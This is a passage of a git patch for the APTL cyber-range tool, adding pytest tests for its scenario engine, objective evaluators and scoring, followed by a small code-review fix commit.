f"'{session.state.value}', not 'evaluating'." + ) + session.state = SessionState.ACTIVE + self._write(session) + log.debug("Session transitioned back to ACTIVE") + def _require_active(self) -> ActiveSession: """Load the current session and verify it is active. diff --git a/tests/test_cli_evaluate.py b/tests/test_cli_evaluate.py new file mode 100644 index 000000000..8f8c8d7db --- /dev/null +++ b/tests/test_cli_evaluate.py @@ -0,0 +1,151 @@ +"""Tests for CLI evaluate and run commands.""" + +from pathlib import Path +from unittest.mock import MagicMock, patch + +import pytest +import yaml +from typer.testing import CliRunner + +from aptl.cli.scenario import app +from aptl.core.evaluators import EvaluationResult +from aptl.core.scoring import ObjectiveScore, ScoreReport + + +runner = CliRunner() + + +# --------------------------------------------------------------------------- +# Fixtures +# --------------------------------------------------------------------------- + + +@pytest.fixture +def scenario_dir(tmp_path: Path) -> Path: + """Create a scenario file with evaluable objectives.""" + scenarios = tmp_path / "scenarios" + scenarios.mkdir() + scenario = { + "metadata": { + "id": "eval-test", + "name": "Evaluate Test", + "description": "Test scenario for evaluate command", + "difficulty": "beginner", + "estimated_minutes": 10, + }, + "mode": "red", + "containers": {"required": ["kali"]}, + "objectives": { + "red": [ + { + "id": "cmd-check", + "description": "Check command output", + "type": "command_output", + "points": 100, + "command_output": { + "container": "kali", + "command": "echo FLAG", + "contains": ["FLAG"], + }, + }, + ], + "blue": [], + }, + "scoring": { + "passing_score": 50, + "max_score": 100, + }, + } + path = scenarios / "eval-test.yaml" + path.write_text(yaml.dump(scenario, default_flow_style=False)) + return tmp_path + + +@pytest.fixture +def active_scenario(scenario_dir: Path): + """Start a session for the test scenario.""" + from aptl.core.scenarios import load_scenario + from aptl.core.session import ScenarioSession + + scenario = load_scenario(scenario_dir / "scenarios" / "eval-test.yaml") + session_mgr = ScenarioSession(scenario_dir / ".aptl") + session = session_mgr.start(scenario) + return scenario_dir, session_mgr, session + + +# --------------------------------------------------------------------------- +# Evaluate command +# --------------------------------------------------------------------------- + + +def test_evaluate_command_runs(active_scenario, mocker): + """aptl scenario evaluate runs a single pass.""" + project_dir, session_mgr, session = active_scenario + + async def mock_evaluate_once(self): + return [ + EvaluationResult( + objective_id="cmd-check", + passed=True, + detail="All checks passed", + checked_at="2026-03-26T10:01:00+00:00", + ) + ] + + mocker.patch( + "aptl.core.engine.ScenarioEngine.evaluate_once", + mock_evaluate_once, + ) + mocker.patch("aptl.core.engine.ScenarioEngine.get_score", return_value=ScoreReport( + total_score=100, + max_score=100, + passing_score=50, + passed=True, + time_bonus=0, + hint_penalties=0, + objective_scores=[ + ObjectiveScore( + objective_id="cmd-check", + base_points=100, + hint_penalty=0, + earned=100, + completed=True, + ) + ], + )) + + result = runner.invoke( + app, + ["evaluate", "--project-dir", str(project_dir)], + ) + assert result.exit_code == 0 + assert "PASS" in result.output + assert "cmd-check" in result.output + + +def test_evaluate_no_active_session(tmp_path: Path): + """aptl scenario evaluate exits when no session is active.""" + result = runner.invoke( + app, + ["evaluate", "--project-dir", str(tmp_path)], + ) + assert result.exit_code == 1 + + +# --------------------------------------------------------------------------- +# Status command with scoring +# --------------------------------------------------------------------------- + + +def test_status_shows_score(active_scenario, mocker): + """aptl scenario status shows score information.""" + project_dir, session_mgr, session = active_scenario + + # Mock compute_score to avoid needing real scenario lookup errors + result = runner.invoke( + app, + ["status", "--project-dir", str(project_dir)], + ) + assert result.exit_code == 0 + assert "eval-test" in result.output + assert "active" in result.output.lower() diff --git a/tests/test_engine.py b/tests/test_engine.py new file mode 100644 index 000000000..987f2dac1 --- /dev/null +++ b/tests/test_engine.py @@ -0,0 +1,371 @@ +"""Tests for the scenario runtime engine.""" + +import asyncio +from pathlib import Path +from unittest.mock import MagicMock + +import pytest + +from aptl.core.engine import ScenarioEngine +from aptl.core.evaluators import EvaluationResult +from aptl.core.scenarios import ( + CommandOutputValidation, + ContainerRequirements, + Objective, + ObjectiveSet, + ObjectiveType, + ScenarioDefinition, + ScenarioMetadata, + ScenarioMode, + ScoringConfig, + WazuhAlertValidation, +) +from aptl.core.session import ScenarioSession + + +# --------------------------------------------------------------------------- +# Fixtures +# --------------------------------------------------------------------------- + + +@pytest.fixture +def scenario_with_evaluable() -> ScenarioDefinition: + """Scenario with both manual and auto-evaluable objectives.""" + return ScenarioDefinition( + metadata=ScenarioMetadata( + id="engine-test", + name="Engine Test", + description="Test scenario for engine", + difficulty="beginner", + estimated_minutes=30, + ), + mode=ScenarioMode.PURPLE, + containers=ContainerRequirements(required=["kali", "victim"]), + objectives=ObjectiveSet( + red=[ + Objective( + id="manual-obj", + description="Manual task", + type=ObjectiveType.MANUAL, + points=50, + ), + Objective( + id="cmd-obj", + description="Check command output", + type=ObjectiveType.COMMAND_OUTPUT, + points=100, + command_output=CommandOutputValidation( + container="kali", + command="cat /tmp/flag.txt", + contains=["FLAG{test}"], + ), + ), + ], + blue=[ + Objective( + id="wazuh-obj", + description="Detect alerts", + type=ObjectiveType.WAZUH_ALERT, + points=75, + wazuh_alert=WazuhAlertValidation( + query={"match_all": {}}, + min_matches=1, + ), + ), + ], + ), + scoring=ScoringConfig(passing_score=100, max_score=225), + ) + + +@pytest.fixture +def session_mgr(tmp_path: Path) -> ScenarioSession: + return ScenarioSession(tmp_path / ".aptl") + + +@pytest.fixture +def active_session( + session_mgr: ScenarioSession, scenario_with_evaluable: ScenarioDefinition +): + return session_mgr.start(scenario_with_evaluable) + + +def _mock_otel(mocker): + """Mock all OTel calls used by the engine.""" + mocker.patch("aptl.core.engine.init_tracing") + mocker.patch("aptl.core.engine.shutdown_tracing") + mocker.patch("aptl.core.engine.get_tracer", return_value=MagicMock()) + mocker.patch("aptl.core.engine.make_parent_context", return_value=MagicMock()) + mock_span = MagicMock() + mocker.patch("aptl.core.engine.create_child_span", return_value=mock_span) + return mock_span + + +# --------------------------------------------------------------------------- +# evaluate_once tests +# --------------------------------------------------------------------------- + + +def test_evaluate_once_records_completions( + mocker, session_mgr, active_session, scenario_with_evaluable +): + """evaluate_once records newly-passed objectives in session.""" + async def mock_evaluate(obj, started_at): + return EvaluationResult( + objective_id=obj.id, + passed=True, + detail="Mocked pass", + checked_at="2026-03-26T10:01:00+00:00", + ) + + mocker.patch("aptl.core.engine.evaluate_objective", side_effect=mock_evaluate) + + engine = ScenarioEngine(scenario_with_evaluable, session_mgr) + results = asyncio.run(engine.evaluate_once()) + + # Should evaluate cmd-obj and wazuh-obj (not manual-obj) + assert len(results) == 2 + assert all(r.passed for r in results) + + session = session_mgr.get_active() + assert "cmd-obj" in session.completed_objectives + assert "wazuh-obj" in session.completed_objectives + assert "manual-obj" not in session.completed_objectives + + +def test_evaluate_once_skips_completed( + mocker, session_mgr, active_session, scenario_with_evaluable +): + """evaluate_once skips already-completed objectives.""" + session_mgr.record_objective_complete("cmd-obj") + + call_count = 0 + + async def mock_evaluate(obj, started_at): + nonlocal call_count + call_count += 1 + return EvaluationResult( + objective_id=obj.id, + passed=True, + detail="Mocked pass", + checked_at="2026-03-26T10:01:00+00:00", + ) + + mocker.patch("aptl.core.engine.evaluate_objective", side_effect=mock_evaluate) + + engine = ScenarioEngine(scenario_with_evaluable, session_mgr) + results = asyncio.run(engine.evaluate_once()) + + assert call_count == 1 + assert len(results) == 1 + assert results[0].objective_id == "wazuh-obj" + + +def test_evaluate_once_no_pending( + mocker, session_mgr, active_session, scenario_with_evaluable +): + """evaluate_once returns empty when all evaluable objectives are done.""" + session_mgr.record_objective_complete("cmd-obj") + session_mgr.record_objective_complete("wazuh-obj") + + engine = ScenarioEngine(scenario_with_evaluable, session_mgr) + results = asyncio.run(engine.evaluate_once()) + assert results == [] + + +# --------------------------------------------------------------------------- +# run loop tests +# --------------------------------------------------------------------------- + + +def test_run_exits_when_all_complete( + mocker, session_mgr, active_session, scenario_with_evaluable +): + """Engine loop exits when all evaluable objectives are complete.""" + async def mock_evaluate(obj, started_at): + return EvaluationResult( + objective_id=obj.id, + passed=True, + detail="Mocked pass", + checked_at="2026-03-26T10:01:00+00:00", + ) + + mocker.patch("aptl.core.engine.evaluate_objective", side_effect=mock_evaluate) + _mock_otel(mocker) + + engine = ScenarioEngine( + scenario_with_evaluable, session_mgr, poll_interval=0.1 + ) + + async def drive(): + shutdown = asyncio.Event() + return await engine.run(shutdown) + + result = asyncio.run(drive()) + + assert result.evaluation_cycles >= 1 + assert "cmd-obj" in result.completed_objectives + assert "wazuh-obj" in result.completed_objectives + assert result.score is not None + assert not result.timed_out + + +def test_run_exits_on_shutdown( + mocker, session_mgr, active_session, scenario_with_evaluable +): + """Engine loop exits when shutdown event is set.""" + async def mock_evaluate(obj, started_at): + return EvaluationResult( + objective_id=obj.id, + passed=False, + detail="Not yet", + checked_at="2026-03-26T10:01:00+00:00", + ) + + mocker.patch("aptl.core.engine.evaluate_objective", side_effect=mock_evaluate) + _mock_otel(mocker) + + engine = ScenarioEngine( + scenario_with_evaluable, session_mgr, poll_interval=0.1 + ) + + async def drive(): + shutdown = asyncio.Event() + + async def signal_shutdown(): + await asyncio.sleep(0.15) + shutdown.set() + + asyncio.create_task(signal_shutdown()) + return await engine.run(shutdown) + + result = asyncio.run(drive()) + + assert result.evaluation_cycles >= 1 + assert not result.timed_out + + +def test_run_exits_on_timeout( + mocker, session_mgr, active_session, scenario_with_evaluable +): + """Engine loop exits when timeout is reached.""" + async def mock_evaluate(obj, started_at): + return EvaluationResult( + objective_id=obj.id, + passed=False, + detail="Not yet", + checked_at="2026-03-26T10:01:00+00:00", + ) + + mocker.patch("aptl.core.engine.evaluate_objective", side_effect=mock_evaluate) + _mock_otel(mocker) + + engine = ScenarioEngine( + scenario_with_evaluable, + session_mgr, + poll_interval=0.05, + timeout_minutes=0.001, # ~0.06 seconds + ) + + async def drive(): + shutdown = asyncio.Event() + return await engine.run(shutdown) + + result = asyncio.run(drive()) + assert result.timed_out is True + + +# --------------------------------------------------------------------------- +# get_score tests +# --------------------------------------------------------------------------- + + +def test_get_score(session_mgr, active_session, scenario_with_evaluable): + """get_score returns current score snapshot.""" + session_mgr.record_objective_complete("cmd-obj") + + engine = ScenarioEngine(scenario_with_evaluable, session_mgr) + score = engine.get_score() + + assert score is not None + assert score.total_score == 100 # cmd-obj is 100 pts + assert score.passed is True # passing_score is 100 + + +# --------------------------------------------------------------------------- +# OTel span emission +# --------------------------------------------------------------------------- + + +def test_run_emits_otel_spans( + mocker, session_mgr, active_session, scenario_with_evaluable +): + """Engine emits OTel evaluation spans for each objective checked.""" + async def mock_evaluate(obj, started_at): + return EvaluationResult( + objective_id=obj.id, + passed=True, + detail="Pass", + checked_at="2026-03-26T10:01:00+00:00", + ) + + mocker.patch("aptl.core.engine.evaluate_objective", side_effect=mock_evaluate) + mock_span = _mock_otel(mocker) + create_span = mocker.patch( + "aptl.core.engine.create_child_span", return_value=mock_span + ) + + engine = ScenarioEngine( + scenario_with_evaluable, session_mgr, poll_interval=0.1 + ) + + async def drive(): + shutdown = asyncio.Event() + return await engine.run(shutdown) + + asyncio.run(drive()) + + assert create_span.call_count >= 2 + mock_span.end.assert_called() + + +# --------------------------------------------------------------------------- +# Progress callback +# --------------------------------------------------------------------------- + + +def test_run_invokes_progress_callback( + mocker, session_mgr, active_session, scenario_with_evaluable +): + """Engine invokes the progress callback after each cycle.""" + async def mock_evaluate(obj, started_at): + return EvaluationResult( + objective_id=obj.id, + passed=True, + detail="Pass", + checked_at="2026-03-26T10:01:00+00:00", + ) + + mocker.patch("aptl.core.engine.evaluate_objective", side_effect=mock_evaluate) + _mock_otel(mocker) + + progress_calls = [] + + def on_progress(cycle, results, score): + progress_calls.append((cycle, len(results), score.total_score)) + + engine = ScenarioEngine( + scenario_with_evaluable, + session_mgr, + poll_interval=0.1, + on_progress=on_progress, + ) + + async def drive(): + shutdown = asyncio.Event() + return await engine.run(shutdown) + + asyncio.run(drive()) + + assert len(progress_calls) >= 1 + assert progress_calls[0][0] == 1 diff --git a/tests/test_evaluators.py b/tests/test_evaluators.py new file mode 100644 index 000000000..fc6646c2f --- /dev/null +++ b/tests/test_evaluators.py @@ -0,0 +1,337 @@ +"""Tests for objective evaluators.""" + +import asyncio +from unittest.mock import MagicMock + +import pytest + +from aptl.core.evaluators import ( + EvaluationResult, + evaluate_command_output, + evaluate_file_exists, + evaluate_objective, + evaluate_wazuh_alert, +) +from aptl.core.scenarios import ( + CommandOutputValidation, + FileExistsValidation, + Objective, + ObjectiveType, + WazuhAlertValidation, +) + + +# --------------------------------------------------------------------------- +# Fixtures +# --------------------------------------------------------------------------- + +SESSION_STARTED_AT = "2026-03-26T10:00:00+00:00" + + +@pytest.fixture +def wazuh_validation() -> WazuhAlertValidation: + return WazuhAlertValidation( + query={ + "bool": { + "must": [ + {"match": {"rule.groups": "authentication_failed"}}, + ] + } + }, + min_matches=5, + time_window_seconds=600, + ) + + +@pytest.fixture +def command_validation() -> CommandOutputValidation: + return CommandOutputValidation( + container="kali", + command="cat /tmp/flag.txt", + contains=["FLAG{test_123}"], + ) + + +@pytest.fixture +def file_validation() -> FileExistsValidation: + return FileExistsValidation( + container="victim", + path="/var/www/html/flag.txt", + contains="FLAG{found}", + ) + + +# --------------------------------------------------------------------------- +# Wazuh alert evaluator +# --------------------------------------------------------------------------- + + +def test_wazuh_alert_pass(mocker, wazuh_validation): + """Wazuh alert passes when min_matches are met.""" + mocker.patch( + "aptl.core.evaluators._curl_json", + return_value={ + "hits": {"total": {"value": 10}, "hits": []}, + }, + ) + result = asyncio.run(evaluate_wazuh_alert( + "detect-auth", wazuh_validation, SESSION_STARTED_AT + )) + assert result.passed is True + assert result.objective_id == "detect-auth" + + +def test_wazuh_alert_fail_insufficient_matches(mocker, wazuh_validation): + """Wazuh alert fails when fewer than min_matches found.""" + mocker.patch( + "aptl.core.evaluators._curl_json", + return_value={ + "hits": {"total": {"value": 2}, "hits": []}, + }, + ) + result = asyncio.run(evaluate_wazuh_alert( + "detect-auth", wazuh_validation, SESSION_STARTED_AT + )) + assert result.passed is False + assert "2 matches" in result.detail + + +def test_wazuh_alert_unreachable(mocker, wazuh_validation): + """Wazuh alert fails gracefully when indexer is unreachable.""" + mocker.patch("aptl.core.evaluators._curl_json", return_value=None) + result = asyncio.run(evaluate_wazuh_alert( + "detect-auth", wazuh_validation, SESSION_STARTED_AT + )) + assert result.passed is False + assert "unreachable" in result.detail.lower() + + +def test_wazuh_alert_integer_total(mocker, wazuh_validation): + """Handle integer total format from some ES versions.""" + mocker.patch( + "aptl.core.evaluators._curl_json", + return_value={"hits": {"total": 8, "hits": []}}, + ) + result = asyncio.run(evaluate_wazuh_alert( + "detect-auth", wazuh_validation, SESSION_STARTED_AT + )) + assert result.passed is True + + +# --------------------------------------------------------------------------- +# Command output evaluator +# --------------------------------------------------------------------------- + + +def test_command_output_pass(mocker, command_validation): + """Command output passes when all required strings are present.""" + mock_result = MagicMock() + mock_result.returncode = 0 + mock_result.stdout = "Some output\nFLAG{test_123}\nMore output" + mocker.patch("aptl.core.evaluators._run_cmd", return_value=mock_result) + + result = asyncio.run(evaluate_command_output("find-flag", command_validation)) + assert result.passed is True + + +def test_command_output_missing_string(mocker, command_validation): + """Command output fails when a required string is missing.""" + mock_result = MagicMock() + mock_result.returncode = 0 + mock_result.stdout = "No flag here" + mocker.patch("aptl.core.evaluators._run_cmd", return_value=mock_result) + + result = asyncio.run(evaluate_command_output("find-flag", command_validation)) + assert result.passed is False + assert "Missing required string" in result.detail + + +def test_command_output_nonzero_exit(mocker, command_validation): + """Command output fails when command returns non-zero.""" + mock_result = MagicMock() + mock_result.returncode = 1 + mock_result.stdout = "" + mocker.patch("aptl.core.evaluators._run_cmd", return_value=mock_result) + + result = asyncio.run(evaluate_command_output("find-flag", command_validation)) + assert result.passed is False + + +def test_command_output_container_unreachable(mocker, command_validation): + """Command output fails when docker exec fails.""" + mocker.patch("aptl.core.evaluators._run_cmd", return_value=None) + result = asyncio.run(evaluate_command_output("find-flag", command_validation)) + assert result.passed is False + assert "container unreachable" in result.detail.lower() + + +def test_command_output_regex_match(mocker): + """Command output passes with regex match.""" + validation = CommandOutputValidation( + container="kali", + command="echo test", + contains=[], + regex=r"FLAG\{[a-z_]+\}", + ) + mock_result = MagicMock() + mock_result.returncode = 0 + mock_result.stdout = "Found: FLAG{secret_data}" + mocker.patch("aptl.core.evaluators._run_cmd", return_value=mock_result) + + result = asyncio.run(evaluate_command_output("regex-obj", validation)) + assert result.passed is True + + +def test_command_output_regex_no_match(mocker): + """Command output fails when regex doesn't match.""" + validation = CommandOutputValidation( + container="kali", + command="echo test", + contains=[], + regex=r"FLAG\{[a-z_]+\}", + ) + mock_result = MagicMock() + mock_result.returncode = 0 + mock_result.stdout = "No flag here" + mocker.patch("aptl.core.evaluators._run_cmd", return_value=mock_result) + + result = asyncio.run(evaluate_command_output("regex-obj", validation)) + assert result.passed is False + assert "Regex not matched" in result.detail + + +# --------------------------------------------------------------------------- +# File exists evaluator +# --------------------------------------------------------------------------- + + +def test_file_exists_pass(mocker, file_validation): + """File exists passes when file is found with expected content.""" + mock_result = MagicMock() + mock_result.returncode = 0 + mock_result.stdout = "FLAG{found}" + mocker.patch("aptl.core.evaluators._run_cmd", return_value=mock_result) + + result = asyncio.run(evaluate_file_exists("find-file", file_validation)) + assert result.passed is True + + +def test_file_exists_not_found(mocker, file_validation): + """File exists fails when file is not found.""" + mock_result = MagicMock() + mock_result.returncode = 1 + mock_result.stdout = "" + mocker.patch("aptl.core.evaluators._run_cmd", return_value=mock_result) + + result = asyncio.run(evaluate_file_exists("find-file", file_validation)) + assert result.passed is False + assert "not found" in result.detail.lower() + + +def test_file_exists_wrong_content(mocker, file_validation): + """File exists fails when content doesn't match.""" + mock_result = MagicMock() + mock_result.returncode = 0 + mock_result.stdout = "Wrong content" + mocker.patch("aptl.core.evaluators._run_cmd", return_value=mock_result) + + result = asyncio.run(evaluate_file_exists("find-file", file_validation)) + assert result.passed is False + assert "missing content" in result.detail.lower() + + +def test_file_exists_no_content_check(mocker): + """File exists passes when no content check is specified.""" + validation = FileExistsValidation( + container="victim", + path="/etc/hosts", + ) + mock_result = MagicMock() + mock_result.returncode = 0 + mock_result.stdout = "127.0.0.1 localhost" + mocker.patch("aptl.core.evaluators._run_cmd", return_value=mock_result) + + result = asyncio.run(evaluate_file_exists("check-hosts", validation)) + assert result.passed is True + + +# --------------------------------------------------------------------------- +# Objective dispatcher +# --------------------------------------------------------------------------- + + +def test_evaluate_objective_manual(): + """Manual objectives return not-evaluable.""" + obj = Objective( + id="manual-obj", + description="Do something manually", + type=ObjectiveType.MANUAL, + points=100, + ) + result = asyncio.run(evaluate_objective(obj, SESSION_STARTED_AT)) + assert result.passed is False + assert "manual" in result.detail.lower() + + +def test_evaluate_objective_wazuh(mocker): + """Dispatcher routes wazuh_alert objectives correctly.""" + mocker.patch( + "aptl.core.evaluators._curl_json", + return_value={"hits": {"total": {"value": 10}, "hits": []}}, + ) + obj = Objective( + id="wazuh-obj", + description="Detect alerts", + type=ObjectiveType.WAZUH_ALERT, + points=75, + wazuh_alert=WazuhAlertValidation( + query={"match_all": {}}, + min_matches=1, + ), + ) + result = asyncio.run(evaluate_objective(obj, SESSION_STARTED_AT)) + assert result.passed is True + assert result.objective_id == "wazuh-obj" + + +def test_evaluate_objective_command(mocker): + """Dispatcher routes command_output objectives correctly.""" + mock_result = MagicMock() + mock_result.returncode = 0 + mock_result.stdout = "FLAG{x}" + mocker.patch("aptl.core.evaluators._run_cmd", return_value=mock_result) + + obj = Objective( + id="cmd-obj", + description="Check command", + type=ObjectiveType.COMMAND_OUTPUT, + points=50, + command_output=CommandOutputValidation( + container="kali", + command="cat /tmp/flag", + contains=["FLAG{x}"], + ), + ) + result = asyncio.run(evaluate_objective(obj, SESSION_STARTED_AT)) + assert result.passed is True + + +def test_evaluate_objective_file(mocker): + """Dispatcher routes file_exists objectives correctly.""" + mock_result = MagicMock() + mock_result.returncode = 0 + mock_result.stdout = "content" + mocker.patch("aptl.core.evaluators._run_cmd", return_value=mock_result) + + obj = Objective( + id="file-obj", + description="Check file", + type=ObjectiveType.FILE_EXISTS, + points=50, + file_exists=FileExistsValidation( + container="victim", + path="/tmp/test", + ), + ) + result = asyncio.run(evaluate_objective(obj, SESSION_STARTED_AT)) + assert result.passed is True diff --git a/tests/test_scoring.py b/tests/test_scoring.py new file mode 100644 index 000000000..cf765187e --- /dev/null +++ b/tests/test_scoring.py @@ -0,0 +1,304 @@ +"""Tests for scenario scoring computation.""" + +import pytest + +from aptl.core.scenarios import ( + ContainerRequirements, + Hint, + Objective, + ObjectiveSet, + ObjectiveType, + ScenarioDefinition, + ScenarioMetadata, + ScenarioMode, + ScoringConfig, + TimeBonusConfig, +) +from aptl.core.scoring import ObjectiveScore, ScoreReport, compute_score + + +# --------------------------------------------------------------------------- +# Fixtures +# --------------------------------------------------------------------------- + + +def _make_scenario( + objectives_red: list[Objective] | None = None, + objectives_blue: list[Objective] | None = None, + scoring: ScoringConfig | None = None, + estimated_minutes: int = 30, +) -> ScenarioDefinition: + """Build a minimal scenario for score testing.""" + red = objectives_red or [] + blue = objectives_blue or [] + return ScenarioDefinition( + metadata=ScenarioMetadata( + id="score-test", + name="Score Test", + description="A scoring test scenario", + difficulty="beginner", + estimated_minutes=estimated_minutes, + ), + mode=ScenarioMode.RED if red else ScenarioMode.BLUE, + containers=ContainerRequirements(required=["kali"]), + objectives=ObjectiveSet(red=red, blue=blue), + scoring=scoring or ScoringConfig(), + ) + + +@pytest.fixture +def simple_objectives() -> list[Objective]: + return [ + Objective( + id="obj-a", + description="First objective", + type=ObjectiveType.MANUAL, + points=100, + hints=[ + Hint(level=1, text="Hint 1", point_penalty=10), + Hint(level=2, text="Hint 2", point_penalty=25), + ], + ), + Objective( + id="obj-b", + description="Second objective", + type=ObjectiveType.MANUAL, + points=50, + hints=[ + Hint(level=1, text="Hint 1", point_penalty=5), + ], + ), + ] + + +# --------------------------------------------------------------------------- +# Base score tests +# --------------------------------------------------------------------------- + + +def test_no_objectives_completed(simple_objectives): + """Score is 0 when nothing is completed.""" + scenario = _make_scenario( + objectives_red=simple_objectives, + scoring=ScoringConfig(passing_score=100, max_score=150), + ) + score = compute_score(scenario, [], {}, 0) + assert score.total_score == 0 + assert not score.passed + + +def test_all_objectives_completed_no_hints(simple_objectives): + """Full base score when all completed with no hints.""" + scenario = _make_scenario( + objectives_red=simple_objectives, + scoring=ScoringConfig(passing_score=100, max_score=150), + ) + score = compute_score(scenario, ["obj-a", "obj-b"], {}, 0) + assert score.total_score == 150 # 100 + 50 + assert score.passed is True + assert score.hint_penalties == 0 + + +def test_partial_completion(simple_objectives): + """Only completed objectives earn points.""" + scenario = _make_scenario( + objectives_red=simple_objectives, + scoring=ScoringConfig(passing_score=100, max_score=150), + ) + score = compute_score(scenario, ["obj-a"], {}, 0) + assert score.total_score == 100 + assert score.passed is True + + +# --------------------------------------------------------------------------- +# Hint penalty tests +# --------------------------------------------------------------------------- + + +def test_hint_penalty_level_1(simple_objectives): + """Level 1 hint penalizes only that hint's penalty.""" + scenario = _make_scenario(objectives_red=simple_objectives) + score = compute_score(scenario, ["obj-a"], {"obj-a": 1}, 0) + # 100 base - 10 penalty for level 1 + assert score.objective_scores[0].hint_penalty == 10 + assert score.objective_scores[0].earned == 90 + assert score.total_score == 90 + + +def test_hint_penalty_level_2(simple_objectives): + """Level 2 hint includes penalties for level 1 and 2.""" + scenario = _make_scenario(objectives_red=simple_objectives) + score = compute_score(scenario, ["obj-a"], {"obj-a": 2}, 0) + # 100 base - 10 (lvl 1) - 25 (lvl 2) = 65 + assert score.objective_scores[0].hint_penalty == 35 + assert score.objective_scores[0].earned == 65 + + +def test_hint_penalty_on_incomplete_objective(simple_objectives): + """Hint penalty on incomplete objective doesn't subtract (earned=0).""" + scenario = _make_scenario(objectives_red=simple_objectives) + score = compute_score(scenario, [], {"obj-a": 2}, 0) + assert score.objective_scores[0].earned == 0 + # But penalties are still counted in total + assert score.hint_penalties == 35 + + +def test_hint_penalty_capped_at_zero(simple_objectives): + """Score per objective never goes below 0.""" + obj = Objective( + id="low-pts", + description="Low points", + type=ObjectiveType.MANUAL, + points=5, + hints=[Hint(level=1, text="Big hint", point_penalty=100)], + ) + scenario = _make_scenario(objectives_red=[obj]) + score = compute_score(scenario, ["low-pts"], {"low-pts": 1}, 0) + assert score.objective_scores[0].earned == 0 # max(0, 5-100) + + +# --------------------------------------------------------------------------- +# Time bonus tests +# --------------------------------------------------------------------------- + + +def test_time_bonus_full(): + """Full bonus awarded when completed before decay starts.""" + obj = Objective( + id="obj-a", description="Test", type=ObjectiveType.MANUAL, points=100 + ) + scenario = _make_scenario( + objectives_red=[obj], + scoring=ScoringConfig( + time_bonus=TimeBonusConfig( + enabled=True, max_bonus=50, decay_after_minutes=10 + ), + max_score=150, + ), + estimated_minutes=30, + ) + score = compute_score(scenario, ["obj-a"], {}, elapsed_seconds=300) # 5 min + assert score.time_bonus == 50 + assert score.total_score == 150 + + +def test_time_bonus_partial_decay(): + """Partial bonus during decay window.""" + obj = Objective( + id="obj-a", description="Test", type=ObjectiveType.MANUAL, points=100 + ) + scenario = _make_scenario( + objectives_red=[obj], + scoring=ScoringConfig( + time_bonus=TimeBonusConfig( + enabled=True, max_bonus=50, decay_after_minutes=10 + ), + max_score=200, + ), + estimated_minutes=30, + ) + # 20 minutes = 10 min in decay window. Decay window = 30-10 = 20 min total. + # 10/20 = 0.5 remaining => 50 * 0.5 = 25 + score = compute_score(scenario, ["obj-a"], {}, elapsed_seconds=1200) + assert score.time_bonus == 25 + + +def test_time_bonus_zero_after_timeout(): + """No bonus after estimated time expires.""" + obj = Objective( + id="obj-a", description="Test", type=ObjectiveType.MANUAL, points=100 + ) + scenario = _make_scenario( + objectives_red=[obj], + scoring=ScoringConfig( + time_bonus=TimeBonusConfig( + enabled=True, max_bonus=50, decay_after_minutes=10 + ), + max_score=150, + ), + estimated_minutes=30, + ) + score = compute_score(scenario, ["obj-a"], {}, elapsed_seconds=1800) # 30 min + assert score.time_bonus == 0 + assert score.total_score == 100 + + +def test_time_bonus_disabled(): + """No bonus when time_bonus is disabled.""" + obj = Objective( + id="obj-a", description="Test", type=ObjectiveType.MANUAL, points=100 + ) + scenario = _make_scenario( + objectives_red=[obj], + scoring=ScoringConfig( + time_bonus=TimeBonusConfig(enabled=False, max_bonus=50), + ), + ) + score = compute_score(scenario, ["obj-a"], {}, elapsed_seconds=60) + assert score.time_bonus == 0 + + +# --------------------------------------------------------------------------- +# Pass/fail threshold tests +# --------------------------------------------------------------------------- + + +def test_passing_score_met(): + """Passes when total meets or exceeds passing_score.""" + obj = Objective( + id="obj-a", description="Test", type=ObjectiveType.MANUAL, points=100 + ) + scenario = _make_scenario( + objectives_red=[obj], + scoring=ScoringConfig(passing_score=100, max_score=100), + ) + score = compute_score(scenario, ["obj-a"], {}, 0) + assert score.passed is True + + +def test_passing_score_not_met(): + """Fails when total is below passing_score.""" + obj = Objective( + id="obj-a", description="Test", type=ObjectiveType.MANUAL, points=50 + ) + scenario = _make_scenario( + objectives_red=[obj], + scoring=ScoringConfig(passing_score=100, max_score=100), + ) + score = compute_score(scenario, ["obj-a"], {}, 0) + assert score.passed is False + + +def test_zero_passing_score_always_passes(): + """Zero passing score means any result passes.""" + obj = Objective( + id="obj-a", description="Test", type=ObjectiveType.MANUAL, points=100 + ) + scenario = _make_scenario( + objectives_red=[obj], + scoring=ScoringConfig(passing_score=0, max_score=100), + ) + score = compute_score(scenario, [], {}, 0) + assert score.passed is True + + +# --------------------------------------------------------------------------- +# Score report structure +# --------------------------------------------------------------------------- + + +def test_score_report_structure(simple_objectives): + """Score report contains per-objective breakdowns.""" + scenario = _make_scenario( + objectives_red=simple_objectives, + scoring=ScoringConfig(passing_score=50, max_score=150), + ) + score = compute_score(scenario, ["obj-a"], {"obj-b": 1}, 0) + + assert len(score.objective_scores) == 2 + assert score.objective_scores[0].objective_id == "obj-a" + assert score.objective_scores[0].completed is True + assert score.objective_scores[1].objective_id == "obj-b" + assert score.objective_scores[1].completed is False + assert score.max_score == 150 + assert score.passing_score == 50 From 06a5ac0e16aa270690c3eb0a814483edee50acc5 Mon Sep 17 00:00:00 2001 From: Brad Edwards Date: Thu, 26 Mar 2026 22:39:43 -0700 Subject: [PATCH 02/15] Code review fixes --- src/aptl/cli/scenario.py | 128 ++++++++---------------------------- src/aptl/core/engine.py | 14 ++-- src/aptl/core/evaluators.py | 13 +--- src/aptl/core/scoring.py | 2 +- 4 files changed, 39 insertions(+), 118 deletions(-) diff --git a/src/aptl/cli/scenario.py b/src/aptl/cli/scenario.py index 75bec445e..7f0367609 100644 --- a/src/aptl/cli/scenario.py +++ b/src/aptl/cli/scenario.py @@ -147,6 +147,16 @@ def _load_active_scenario( return _load_scenario_or_exit(resolved_dir, session.scenario_id) +def _load_env(project_dir: Path) -> None: + """Load .env into os.environ so evaluators/collectors can read credentials.""" + env_path = project_dir / ".env" + try: + raw_env = load_dotenv(env_path) + os.environ.update(raw_env) + except FileNotFoundError: + log.warning(".env not found at %s; evaluators will use defaults", env_path) + + # --------------------------------------------------------------------------- # Commands # --------------------------------------------------------------------------- @@ -492,9 +502,11 @@ def status( session.hints_used, elapsed_seconds, ) - _print_score_summary(score, scenario) - except (SystemExit, Exception): - pass + _print_score_summary(score) + except SystemExit: + pass # _load_scenario_or_exit raises typer.Exit on missing file + except Exception as e: + log.debug("Could not compute score for status: %s", e) @app.command() @@ -516,95 +528,7 @@ def stop( state = _state_dir(project_dir) session_mgr = ScenarioSession(state) session = _require_active_session(session_mgr) - - scenario = _load_active_scenario(session, project_dir, scenarios_dir) - - # Calculate duration - started = datetime.fromisoformat(session.started_at) - now = datetime.now(timezone.utc) - elapsed = 